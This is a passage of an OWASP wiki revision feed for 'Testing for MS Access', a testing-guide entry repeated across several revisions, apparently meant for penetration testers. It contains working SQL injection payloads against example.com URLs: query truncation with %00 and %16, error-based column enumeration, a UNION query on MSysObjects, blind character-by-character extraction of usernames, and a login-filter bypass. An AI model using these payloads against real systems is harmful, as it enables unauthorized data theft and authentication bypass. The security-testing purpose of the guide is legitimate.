* MSysObjects&lt;br /&gt;
* MSysACEs&lt;br /&gt;
* MSysAccessXML&lt;br /&gt;
&lt;br /&gt;
For example if a union sql injection vulnerability exists, you can use the following query:&lt;br /&gt;
&lt;br /&gt;
 ' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00&lt;br /&gt;
&lt;br /&gt;
These are the main steps that you can use to exploit a sql injection vulnerability on &lt;br /&gt;
MS Access. There are also some functions that can be useful to exploit custom &lt;br /&gt;
queries. Some of these functions are:&lt;br /&gt;
&lt;br /&gt;
* ASC: Obtain the ascii value of a character passed as input&lt;br /&gt;
* CHR: Obtain the character of the ascii value passed as input&lt;br /&gt;
* LEN: Return the length of the string passed as parameter&lt;br /&gt;
* IIF: Is the IF construct, for example the following statement IIF(1=1, 'a', 'b') return 'a'&lt;br /&gt;
* MID: This function permits to extract substring, for example the following statement mid('abc',1,1) return 'a'&lt;br /&gt;
* TOP: This function permits to specify the maximum number of results that the query should return from the top. For example TOP 1 will return only 1 row.&lt;br /&gt;
* LAST: This function is used to select only the last row of a set of rows. For example the following query SELECT last(*) FROM users will return only the last row of the result.&lt;br /&gt;
&lt;br /&gt;
Some of these functions will be used to exploit a blind sql injection as we see in the next&lt;br /&gt;
paragraph. For other functions please refer to References.&lt;br /&gt;
&lt;br /&gt;
=== Blind sql injection testing ===&lt;br /&gt;
Blind sql injection vulnerabilities are by no mean the most frequent type of vulnerability&lt;br /&gt;
that you will find. Generally you find a sql injection in a parameter where no union &lt;br /&gt;
query is possible. Also, usually there is no chance to execute shell command or to read/write&lt;br /&gt;
a file. All you can do is infer the result of your query. For our test we take the&lt;br /&gt;
following example:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?myId=[sql]&lt;br /&gt;
&lt;br /&gt;
where the id parameter is used in the following query:&lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM orders WHERE [id]=$myId&lt;br /&gt;
&lt;br /&gt;
For our test we will consider the myId parameter vulnerable to blind sqli vulnerability.&lt;br /&gt;
We want to extract the content of the table users, in particular of the column&lt;br /&gt;
username (we have already seen how to obtain the name of the attributes thanks&lt;br /&gt;
to the error messages and other tecniques). It is supposed that the reader alreday knowns the theory behind&lt;br /&gt;
the blind sql injection attack, so we go straight to show some example. A typical query that&lt;br /&gt;
can be used to infer the first character of the username of the 10th rows is:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?id=IIF((select%20mid(last(username),1,1)%20from%20(select%20top%2010%20username%20from%20users))='a',0,'ko') &lt;br /&gt;
&lt;br /&gt;
If the first character is 'a', this query will return a 0 (a &amp;quot;true response&amp;quot;), otherwise a&lt;br /&gt;
'ko' string. Now we will explain why we have used this particular query.&lt;br /&gt;
The first thing to point out is that with the functions IFF, MID and LAST we extract the first&lt;br /&gt;
character of the username of the selected row. Unfortunately, the original query returns a set of records&lt;br /&gt;
and not only one record, so we can't use this methodology directly. We must first select only one row.&lt;br /&gt;
We can use the TOP function, but it only works with the first row. To select the other&lt;br /&gt;
queries we must use a trick. We want to infer the username of the row number 10.&lt;br /&gt;
First we use the TOP function to select the first ten rows with the query:&lt;br /&gt;
&lt;br /&gt;
 SELECT TOP 10 username FROM users&lt;br /&gt;
&lt;br /&gt;
Then we extract from this set the last row with the function LAST. Once we have only one row and &lt;br /&gt;
exactly the row that we want, we can use the IFF, MID and LAST function to infer the value&lt;br /&gt;
of the username.&lt;br /&gt;
It may be interesting to notice the use of the IFF. In our example we use IFF to return a number or a string.&lt;br /&gt;
With &lt;br /&gt;
this trick we can distinguish when we have a true response or not. This is because id is of numeric type,&lt;br /&gt;
so if we compare it with a string we obtain a sql error, otherwise with the 0 value we have&lt;br /&gt;
no errors. Of course if the parameter was of type string we can use different values. For example&lt;br /&gt;
we can have the following query:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?id=inexistenValueHere'%20or%20'a'=IIF((select%20mid(last(username),1,1)%20from%20(select%20top%2010%20username%20from%20users))='a','a','b')%00&lt;br /&gt;
&lt;br /&gt;
that returns a query that is always true if the first character is 'a' or a query that is always false in the other case (assuming that in the users table there is no id with value 'inexistenValueHere')&lt;br /&gt;
&lt;br /&gt;
Thanks to this metodology we can infer the value of the username. To understand when we have &lt;br /&gt;
obtained the complete value we have two choices:&lt;br /&gt;
&lt;br /&gt;
# We try all the printable values, when no one is valid then we have the complete value.&lt;br /&gt;
# We can infer the length of the value (if it's a string value we can use the LEN function) and stop when we have found all the characters.&lt;br /&gt;
&lt;br /&gt;
== Tricks ==&lt;br /&gt;
Sometimes we are blocked by some filtering function, here we see some tricks to bypass these filters.&lt;br /&gt;
&lt;br /&gt;
=== Alternative Delimiter ===&lt;br /&gt;
Some filter strips away the space from the input string. We can bypass this filter using&lt;br /&gt;
the following values as delimiter instead of the white space:&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
9&lt;br /&gt;
a&lt;br /&gt;
c&lt;br /&gt;
d&lt;br /&gt;
20&lt;br /&gt;
2b&lt;br /&gt;
2d&lt;br /&gt;
3d&lt;br /&gt;
'''&lt;br /&gt;
&lt;br /&gt;
For example we can execute the following query:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?username=foo%27%09or%09%271%27%09=%09%271&lt;br /&gt;
&lt;br /&gt;
to bypass a hypothetical login form.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* http://www.techonthenet.com/access/functions/index_alpha.php&lt;br /&gt;
* http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-IT.html&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36705</id>
		<title>Testing for MS Access</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36705"/>
				<updated>2008-08-20T14:01:58Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Short Description of the Issue == &lt;br /&gt;
In this paragraph we describe how to exploit sql injection vulnerabilties when the&lt;br /&gt;
backend database is MS Access. In particular we focus on how to exploit blind sql injection&lt;br /&gt;
as this kind of vulnerabilities are more frequent.&lt;br /&gt;
After an initial introduction on which are the typical functions &lt;br /&gt;
that are useful to exploit a sql injection vulnerability, &lt;br /&gt;
we will introduce a clever  methodology to exploit blind sql injection.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
=== Standard Test ===&lt;br /&gt;
First of all, we start showing a typical example of SQL error that we can encounter when&lt;br /&gt;
we execute our test:&lt;br /&gt;
&lt;br /&gt;
 Fatal error: Uncaught exception 'com_exception' with message '&amp;lt;b&amp;gt;Source:&amp;lt;/b&amp;gt; Microsoft JET Database Engine&amp;lt;br/&amp;gt;&amp;lt;b&amp;gt;Description:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If we get this error then it's reasonable to think that we are testing an application with a MS Access Database as backend.&lt;br /&gt;
&lt;br /&gt;
We have to say that, unfortunately, we start soon with a bad news since MS Access doesn't support any comment character in the sql query,&lt;br /&gt;
so we can't use the trick of inserting the chars /* or -- or # to truncate the query. On the other hand, we can fortunately  bypass this limit with the NULL character. If we insert the char %00 at some place in &lt;br /&gt;
the query, all the remaining characters after the NULL are not considerated. That happens&lt;br /&gt;
because at the low level the strings are considerated terminated with the NULL char.&lt;br /&gt;
However the NULL character can sometimes cause troubles. If we try every char in the ASCII&lt;br /&gt;
charset we notice that there is another value that can be used in order to truncate the query.&lt;br /&gt;
The character is 0x16 (%16 in url encoded format) or 22 in decimal. So if we have the following query:&lt;br /&gt;
&lt;br /&gt;
 SELECT [username],[password] FROM users WHERE [username]='$myUsername' AND [password]='$myPassword'&lt;br /&gt;
&lt;br /&gt;
we can truncate the query with the following two urls:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?user=admin'%00&amp;amp;pass=foo&lt;br /&gt;
 http://www.example.com/index.php?user=admin'%16&amp;amp;pass=foo&lt;br /&gt;
&lt;br /&gt;
==== Attributes enumeration ====&lt;br /&gt;
In order to enumerate the attributes of a query we can use the same method used for the Database&lt;br /&gt;
MS SQL Server. In short, we can obtain the name of the attributes by error messages. For example&lt;br /&gt;
if we know the existence of a parameter because we got it by an error message due to the&lt;br /&gt;
' character, we can also know the name of the remaining attributes with the following query:&lt;br /&gt;
&lt;br /&gt;
 ' GROUP BY Id%00&lt;br /&gt;
&lt;br /&gt;
in the error message we can notice that the name of the next attribute is shown. We iterate the&lt;br /&gt;
method until we obtain the name of all the attributes. If we don't know the name of at least&lt;br /&gt;
one attribute, we can insert a fictitious column name, and just like by magic we obtain the name of&lt;br /&gt;
the first attribute.&lt;br /&gt;
&lt;br /&gt;
==== Obtaining Database Scheme ====&lt;br /&gt;
In MS Access exist various table that can be used to obtain the name of the table of a&lt;br /&gt;
particular database. In the default configuration this table is not accessible, however it's&lt;br /&gt;
worth a try. The names of the table are:&lt;br /&gt;
&lt;br /&gt;
# MSysObjects&lt;br /&gt;
# MSysACEs&lt;br /&gt;
# MSysAccessXML&lt;br /&gt;
&lt;br /&gt;
For example if a union sql injection vulnerability exists, you can use the following query:&lt;br /&gt;
&lt;br /&gt;
 ' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00&lt;br /&gt;
&lt;br /&gt;
These are the main steps that you can use to exploit a sql injection vulnerability on &lt;br /&gt;
MS Access. There are also some functions that can be useful to exploit custom &lt;br /&gt;
queries. Some of these functions are:&lt;br /&gt;
&lt;br /&gt;
# ASC: Obtain the ascii value of a character passed as input&lt;br /&gt;
# CHR: Obtain the character of the ascii value passed as input&lt;br /&gt;
# LEN: Return the length of the string passed as parameter&lt;br /&gt;
# IIF: Is the IF construct, for example the following statement IIF(1=1, 'a', 'b') return 'a'&lt;br /&gt;
# MID: This function permits to extract substring, for example the following statement mid('abc',1,1) return 'a'&lt;br /&gt;
# TOP: This function permits to specify the maximum number of results that the query should return from the top. For example TOP 1 will return only 1 row.&lt;br /&gt;
# LAST: This function is used to select only the last row of a set of rows. For example the following query SELECT last(*) FROM users will return only the last row of the result.&lt;br /&gt;
&lt;br /&gt;
Some of these functions will be used to exploit a blind sql injection as we see in the next&lt;br /&gt;
paragraph. For other functions please refer to References.&lt;br /&gt;
&lt;br /&gt;
=== Blind sql injection testing ===&lt;br /&gt;
Blind sql injection vulnerabilities are by no mean the most frequent type of vulnerability&lt;br /&gt;
that you will find. Generally you find a sql injection in a parameter where no union &lt;br /&gt;
query is possible. Also, usually there is no chance to execute shell command or to read/write&lt;br /&gt;
a file. All you can do is infer the result of your query. For our test we take the&lt;br /&gt;
following example:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?myId=[sql]&lt;br /&gt;
&lt;br /&gt;
where the id parameter is used in the following query:&lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM orders WHERE [id]=$myId&lt;br /&gt;
&lt;br /&gt;
For our test we will consider the myId parameter vulnerable to blind sqli vulnerability.&lt;br /&gt;
We want to extract the content of the table users, in particular of the column&lt;br /&gt;
username (we have already seen how to obtain the name of the attributes thanks&lt;br /&gt;
to the error messages and other tecniques). It is supposed that the reader alreday knowns the theory behind&lt;br /&gt;
the blind sql injection attack, so we go straight to show some example. A typical query that&lt;br /&gt;
can be used to infer the first character of the username of the 10th rows is:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?id=IIF((select%20mid(last(username),1,1)%20from%20(select%20top%2010%20username%20from%20users))='a',0,'ko') &lt;br /&gt;
&lt;br /&gt;
If the first character is 'a', this query will return a 0 (a &amp;quot;true response&amp;quot;), otherwise a&lt;br /&gt;
'ko' string. Now we will explain why we have used this particular query.&lt;br /&gt;
The first thing to point out is that with the functions IFF, MID and LAST we extract the first&lt;br /&gt;
character of the username of the selected row. Unfortunately, the original query returns a set of records&lt;br /&gt;
and not only one record, so we can't use this methodology directly. We must first select only one row.&lt;br /&gt;
We can use the TOP function, but it only works with the first row. To select the other&lt;br /&gt;
queries we must use a trick. We want to infer the username of the row number 10.&lt;br /&gt;
First we use the TOP function to select the first ten rows with the query:&lt;br /&gt;
&lt;br /&gt;
 SELECT TOP 10 username FROM users&lt;br /&gt;
&lt;br /&gt;
Then we extract from this set the last row with the function LAST. Once we have only one row and &lt;br /&gt;
exactly the row that we want, we can use the IFF, MID and LAST function to infer the value&lt;br /&gt;
of the username.&lt;br /&gt;
It may be interesting to notice the use of the IFF. In our example we use IFF to return a number or a string.&lt;br /&gt;
With &lt;br /&gt;
this trick we can distinguish when we have a true response or not. This is because id is of numeric type,&lt;br /&gt;
so if we compare it with a string we obtain a sql error, otherwise with the 0 value we have&lt;br /&gt;
no errors. Of course if the parameter was of type string we can use different values. For example&lt;br /&gt;
we can have the following query:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?id=inexistenValueHere'%20or%20'a'=IIF((select%20mid(last(username),1,1)%20from%20(select%20top%2010%20username%20from%20users))='a','a','b')%00&lt;br /&gt;
&lt;br /&gt;
that returns a query that is always true if the first character is 'a' or a query that is always false in the other case (assuming that in the users table there is no id with value 'inexistenValueHere')&lt;br /&gt;
&lt;br /&gt;
Thanks to this metodology we can infer the value of the username. To understand when we have &lt;br /&gt;
obtained the complete value we have two choices:&lt;br /&gt;
&lt;br /&gt;
# We try all the printable values, when no one is valid then we have the complete value.&lt;br /&gt;
# We can infer the length of the value (if it's a string value we can use the LEN function) and stop when we have found all the characters.&lt;br /&gt;
&lt;br /&gt;
== Tricks ==&lt;br /&gt;
Sometimes we are blocked by some filtering function, here we see some tricks to bypass these filters.&lt;br /&gt;
&lt;br /&gt;
=== Alternative Delimiter ===&lt;br /&gt;
Some filter strips away the space from the input string. We can bypass this filter using&lt;br /&gt;
the following values as delimiter instead of the white space:&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
9&lt;br /&gt;
a&lt;br /&gt;
c&lt;br /&gt;
d&lt;br /&gt;
20&lt;br /&gt;
2b&lt;br /&gt;
2d&lt;br /&gt;
3d&lt;br /&gt;
'''&lt;br /&gt;
&lt;br /&gt;
For example we can execute the following query:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?username=foo%27%09or%09%271%27%09=%09%271&lt;br /&gt;
&lt;br /&gt;
to bypass a hypothetical login form.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* http://www.techonthenet.com/access/functions/index_alpha.php&lt;br /&gt;
* http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-IT.html&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36704</id>
		<title>Testing for MS Access</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36704"/>
				<updated>2008-08-20T14:01:32Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Short Description of the Issue == &lt;br /&gt;
In this paragraph we describe how to exploit sql injection vulnerabilties when the&lt;br /&gt;
backend database is MS Access. In particular we focus on how to exploit blind sql injection&lt;br /&gt;
as this kind of vulnerabilities are more frequent.&lt;br /&gt;
After an initial introduction on which are the typical functions &lt;br /&gt;
that are useful to exploit a sql injection vulnerability, &lt;br /&gt;
we will introduce a clever  methodology to exploit blind sql injection.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
=== Standard Test ===&lt;br /&gt;
First of all, we start showing a typical example of SQL error that we can encounter when&lt;br /&gt;
we execute our test:&lt;br /&gt;
&lt;br /&gt;
 Fatal error: Uncaught exception 'com_exception' with message '&amp;lt;b&amp;gt;Source:&amp;lt;/b&amp;gt; Microsoft JET Database Engine&amp;lt;br/&amp;gt;&amp;lt;b&amp;gt;Description:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If we get this error then it's reasonable to think that we are testing an application with a MS Access Database as backend.&lt;br /&gt;
&lt;br /&gt;
We have to say that, unfortunately, we start soon with a bad news since MS Access doesn't support any comment character in the sql query,&lt;br /&gt;
so we can't use the trick of inserting the chars /* or -- or # to truncate the query. On the other hand, we can fortunately  bypass this limit with the NULL character. If we insert the char %00 at some place in &lt;br /&gt;
the query, all the remaining characters after the NULL are not considerated. That happens&lt;br /&gt;
because at the low level the strings are considerated terminated with the NULL char.&lt;br /&gt;
However the NULL character can sometimes cause troubles. If we try every char in the ASCII&lt;br /&gt;
charset we notice that there is another value that can be used in order to truncate the query.&lt;br /&gt;
The character is 0x16 (%16 in url encoded format) or 22 in decimal. So if we have the following query:&lt;br /&gt;
&lt;br /&gt;
 SELECT [username],[password] FROM users WHERE [username]='$myUsername' AND [password]='$myPassword'&lt;br /&gt;
&lt;br /&gt;
we can truncate the query with the following two urls:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?user=admin'%00&amp;amp;pass=foo&lt;br /&gt;
 http://www.example.com/index.php?user=admin'%16&amp;amp;pass=foo&lt;br /&gt;
&lt;br /&gt;
==== Attributes enumeration ====&lt;br /&gt;
In order to enumerate the attributes of a query we can use the same method used for the Database&lt;br /&gt;
MS SQL Server. In short, we can obtain the name of the attributes by error messages. For example&lt;br /&gt;
if we know the existence of a parameter because we got it by an error message due to the&lt;br /&gt;
' character, we can also know the name of the remaining attributes with the following query:&lt;br /&gt;
&lt;br /&gt;
 ' GROUP BY Id%00&lt;br /&gt;
&lt;br /&gt;
in the error message we can notice that the name of the next attribute is shown. We iterate the&lt;br /&gt;
method until we obtain the name of all the attributes. If we don't know the name of at least&lt;br /&gt;
one attribute, we can insert a fictitious column name, and just like by magic we obtain the name of&lt;br /&gt;
the first attribute.&lt;br /&gt;
&lt;br /&gt;
==== Obtaining Database Scheme ====&lt;br /&gt;
In MS Access exist various table that can be used to obtain the name of the table of a&lt;br /&gt;
particular database. In the default configuration this table is not accessible, however it's&lt;br /&gt;
worth a try. The names of the table are:&lt;br /&gt;
&lt;br /&gt;
# MSysObjects&lt;br /&gt;
# MSysACEs&lt;br /&gt;
# MSysAccessXML&lt;br /&gt;
&lt;br /&gt;
For example if a union sql injection vulnerability exists, you can use the following query:&lt;br /&gt;
&lt;br /&gt;
 ' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00&lt;br /&gt;
&lt;br /&gt;
These are the main steps that you can use to exploit a sql injection vulnerability on &lt;br /&gt;
MS Access. There are also some functions that can be useful to exploit custom &lt;br /&gt;
queries. Some of these functions are:&lt;br /&gt;
&lt;br /&gt;
# ASC: Obtain the ascii value of a character passed as input&lt;br /&gt;
# CHR: Obtain the character of the ascii value passed as input&lt;br /&gt;
# LEN: Return the length of the string passed as parameter&lt;br /&gt;
# IIF: Is the IF construct, for example the following statement IIF(1=1, 'a', 'b') return 'a'&lt;br /&gt;
# MID: This function permits to extract substring, for example the following statement mid('abc',1,1) return 'a'&lt;br /&gt;
# TOP: This function permits to specify the maximum number of results that the query should return from the top. For example TOP 1 will return only 1 row.&lt;br /&gt;
# LAST: This function is used to select only the last row of a set of rows. For example the following query SELECT last(*) FROM users will return only the last row of the result.&lt;br /&gt;
&lt;br /&gt;
Some of these functions will be used to exploit a blind sql injection as we see in the next&lt;br /&gt;
paragraph. For other functions please refer to References.&lt;br /&gt;
&lt;br /&gt;
=== Blind sql injection testing ===&lt;br /&gt;
Blind sql injection vulnerabilities are by no mean the most frequent type of vulnerability&lt;br /&gt;
that you will find. Generally you find a sql injection in a parameter where no union &lt;br /&gt;
query is possible. Also, usually there is no chance to execute shell command or to read/write&lt;br /&gt;
a file. All you can do is infer the result of your query. For our test we take the&lt;br /&gt;
following example:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?myId=[sql]&lt;br /&gt;
&lt;br /&gt;
where the id parameter is used in the following query:&lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM orders WHERE [id]=$myId&lt;br /&gt;
&lt;br /&gt;
For our test we will consider the myId parameter vulnerable to blind sqli vulnerability.&lt;br /&gt;
We want to extract the content of the table users, in particular of the column&lt;br /&gt;
username (we have already seen how to obtain the name of the attributes thanks&lt;br /&gt;
to the error messages and other tecniques). It is supposed that the reader alreday knowns the theory behind&lt;br /&gt;
the blind sql injection attack, so we go straight to show some example. A typical query that&lt;br /&gt;
can be used to infer the first character of the username of the 10th rows is:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?id=IIF((select%20mid(last(username),1,1)%20from%20(select%20top&amp;lt;br&amp;gt;%2010%20username%20from%20users))='a',0,'ko') &lt;br /&gt;
&lt;br /&gt;
If the first character is 'a', this query will return a 0 (a &amp;quot;true response&amp;quot;), otherwise a&lt;br /&gt;
'ko' string. Now we will explain why we have used this particular query.&lt;br /&gt;
The first thing to point out is that with the functions IFF, MID and LAST we extract the first&lt;br /&gt;
character of the username of the selected row. Unfortunately, the original query returns a set of records&lt;br /&gt;
and not only one record, so we can't use this methodology directly. We must first select only one row.&lt;br /&gt;
We can use the TOP function, but it only works with the first row. To select the other&lt;br /&gt;
queries we must use a trick. We want to infer the username of the row number 10.&lt;br /&gt;
First we use the TOP function to select the first ten rows with the query:&lt;br /&gt;
&lt;br /&gt;
 SELECT TOP 10 username FROM users&lt;br /&gt;
&lt;br /&gt;
Then we extract from this set the last row with the function LAST. Once we have only one row and &lt;br /&gt;
exactly the row that we want, we can use the IFF, MID and LAST function to infer the value&lt;br /&gt;
of the username.&lt;br /&gt;
It may be interesting to notice the use of the IFF. In our example we use IFF to return a number or a string.&lt;br /&gt;
With &lt;br /&gt;
this trick we can distinguish when we have a true response or not. This is because id is of numeric type,&lt;br /&gt;
so if we compare it with a string we obtain a sql error, otherwise with the 0 value we have&lt;br /&gt;
no errors. Of course if the parameter was of type string we can use different values. For example&lt;br /&gt;
we can have the following query:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?id=inexistenValueHere'%20or%20'a'=IIF((select%20mid(last(username),1,1)%20from&amp;lt;br&amp;gt;%20(select%20top%2010%20username%20from%20users))='a','a','b')%00&lt;br /&gt;
&lt;br /&gt;
that returns a query that is always true if the first character is 'a' or a query that is always false in the other case (assuming that in the users table there is no id with value 'inexistenValueHere')&lt;br /&gt;
&lt;br /&gt;
Thanks to this metodology we can infer the value of the username. To understand when we have &lt;br /&gt;
obtained the complete value we have two choices:&lt;br /&gt;
&lt;br /&gt;
# We try all the printable values, when no one is valid then we have the complete value.&lt;br /&gt;
# We can infer the length of the value (if it's a string value we can use the LEN function) and stop when we have found all the characters.&lt;br /&gt;
&lt;br /&gt;
== Tricks ==&lt;br /&gt;
Sometimes we are blocked by some filtering function, here we see some tricks to bypass these filters.&lt;br /&gt;
&lt;br /&gt;
=== Alternative Delimiter ===&lt;br /&gt;
Some filter strips away the space from the input string. We can bypass this filter using&lt;br /&gt;
the following values as delimiter instead of the white space:&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
9&lt;br /&gt;
a&lt;br /&gt;
c&lt;br /&gt;
d&lt;br /&gt;
20&lt;br /&gt;
2b&lt;br /&gt;
2d&lt;br /&gt;
3d&lt;br /&gt;
'''&lt;br /&gt;
&lt;br /&gt;
For example we can execute the following query:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?username=foo%27%09or%09%271%27%09=%09%271&lt;br /&gt;
&lt;br /&gt;
to bypass a hypothetical login form.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* http://www.techonthenet.com/access/functions/index_alpha.php&lt;br /&gt;
* http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-IT.html&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36703</id>
		<title>Testing for MS Access</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36703"/>
				<updated>2008-08-20T14:00:48Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Short Description of the Issue == &lt;br /&gt;
In this paragraph we describe how to exploit sql injection vulnerabilties when the&lt;br /&gt;
backend database is MS Access. In particular we focus on how to exploit blind sql injection&lt;br /&gt;
as this kind of vulnerabilities are more frequent.&lt;br /&gt;
After an initial introduction on which are the typical functions &lt;br /&gt;
that are useful to exploit a sql injection vulnerability, &lt;br /&gt;
we will introduce a clever  methodology to exploit blind sql injection.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
=== Standard Test ===&lt;br /&gt;
First of all, we start showing a typical example of SQL error that we can encounter when&lt;br /&gt;
we execute our test:&lt;br /&gt;
&lt;br /&gt;
 Fatal error: Uncaught exception 'com_exception' with message '&amp;lt;b&amp;gt;Source:&amp;lt;/b&amp;gt; Microsoft JET Database Engine&amp;lt;br/&amp;gt;&amp;lt;b&amp;gt;Description:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If we get this error then it's reasonable to think that we are testing an application with a MS Access Database as backend.&lt;br /&gt;
&lt;br /&gt;
We have to say that, unfortunately, we start soon with a bad news since MS Access doesn't support any comment character in the sql query,&lt;br /&gt;
so we can't use the trick of inserting the chars /* or -- or # to truncate the query. On the other hand, we can fortunately  bypass this limit with the NULL character. If we insert the char %00 at some place in &lt;br /&gt;
the query, all the remaining characters after the NULL are not considerated. That happens&lt;br /&gt;
because at the low level the strings are considerated terminated with the NULL char.&lt;br /&gt;
However the NULL character can sometimes cause troubles. If we try every char in the ASCII&lt;br /&gt;
charset we notice that there is another value that can be used in order to truncate the query.&lt;br /&gt;
The character is 0x16 (%16 in url encoded format) or 22 in decimal. So if we have the following query:&lt;br /&gt;
&lt;br /&gt;
 SELECT [username],[password] FROM users WHERE [username]='$myUsername' AND [password]='$myPassword'&lt;br /&gt;
&lt;br /&gt;
we can truncate the query with the following two urls:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?user=admin'%00&amp;amp;pass=foo&lt;br /&gt;
 http://www.example.com/index.php?user=admin'%16&amp;amp;pass=foo&lt;br /&gt;
&lt;br /&gt;
==== Attributes enumeration ====&lt;br /&gt;
In order to enumerate the attributes of a query we can use the same method used for the Database&lt;br /&gt;
MS SQL Server. In short, we can obtain the name of the attributes by error messages. For example&lt;br /&gt;
if we know the existence of a parameter because we got it by an error message due to the&lt;br /&gt;
' character, we can also know the name of the remaining attributes with the following query:&lt;br /&gt;
&lt;br /&gt;
 ' GROUP BY Id%00&lt;br /&gt;
&lt;br /&gt;
in the error message we can notice that the name of the next attribute is shown. We iterate the&lt;br /&gt;
method until we obtain the name of all the attributes. If we don't know the name of at least&lt;br /&gt;
one attribute, we can insert a fictitious column name, and just like by magic we obtain the name of&lt;br /&gt;
the first attribute.&lt;br /&gt;
&lt;br /&gt;
==== Obtaining Database Scheme ====&lt;br /&gt;
In MS Access exist various table that can be used to obtain the name of the table of a&lt;br /&gt;
particular database. In the default configuration this table is not accessible, however it's&lt;br /&gt;
worth a try. The names of the table are:&lt;br /&gt;
&lt;br /&gt;
# MSysObjects&lt;br /&gt;
# MSysACEs&lt;br /&gt;
# MSysAccessXML&lt;br /&gt;
&lt;br /&gt;
For example if a union sql injection vulnerability exists, you can use the following query:&lt;br /&gt;
&lt;br /&gt;
 ' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00&lt;br /&gt;
&lt;br /&gt;
These are the main steps that you can use to exploit a sql injection vulnerability on &lt;br /&gt;
MS Access. There are also some functions that can be useful to exploit custom &lt;br /&gt;
queries. Some of these functions are:&lt;br /&gt;
&lt;br /&gt;
# ASC: Obtain the ascii value of a character passed as input&lt;br /&gt;
# CHR: Obtain the character of the ascii value passed as input&lt;br /&gt;
# LEN: Return the length of the string passed as parameter&lt;br /&gt;
# IIF: Is the IF construct, for example the following statement IIF(1=1, 'a', 'b') return 'a'&lt;br /&gt;
# MID: This function permits to extract substring, for example the following statement mid('abc',1,1) return 'a'&lt;br /&gt;
# TOP: This function permits to specify the maximum number of results that the query should return from the top. For example TOP 1 will return only 1 row.&lt;br /&gt;
# LAST: This function is used to select only the last row of a set of rows. For example the following query SELECT last(*) FROM users will return only the last row of the result.&lt;br /&gt;
&lt;br /&gt;
Some of these functions will be used to exploit a blind sql injection as we see in the next&lt;br /&gt;
paragraph. For other functions please refer to References.&lt;br /&gt;
&lt;br /&gt;
=== Blind sql injection testing ===&lt;br /&gt;
Blind sql injection vulnerabilities are by no mean the most frequent type of vulnerability&lt;br /&gt;
that you will find. Generally you find a sql injection in a parameter where no union &lt;br /&gt;
query is possible. Also, usually there is no chance to execute shell command or to read/write&lt;br /&gt;
a file. All you can do is infer the result of your query. For our test we take the&lt;br /&gt;
following example:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?myId=[sql]&lt;br /&gt;
&lt;br /&gt;
where the id parameter is used in the following query:&lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM orders WHERE [id]=$myId&lt;br /&gt;
&lt;br /&gt;
For our test we will consider the myId parameter vulnerable to blind sqli vulnerability.&lt;br /&gt;
We want to extract the content of the table users, in particular of the column&lt;br /&gt;
username (we have already seen how to obtain the name of the attributes thanks&lt;br /&gt;
to the error messages and other tecniques). It is supposed that the reader alreday knowns the theory behind&lt;br /&gt;
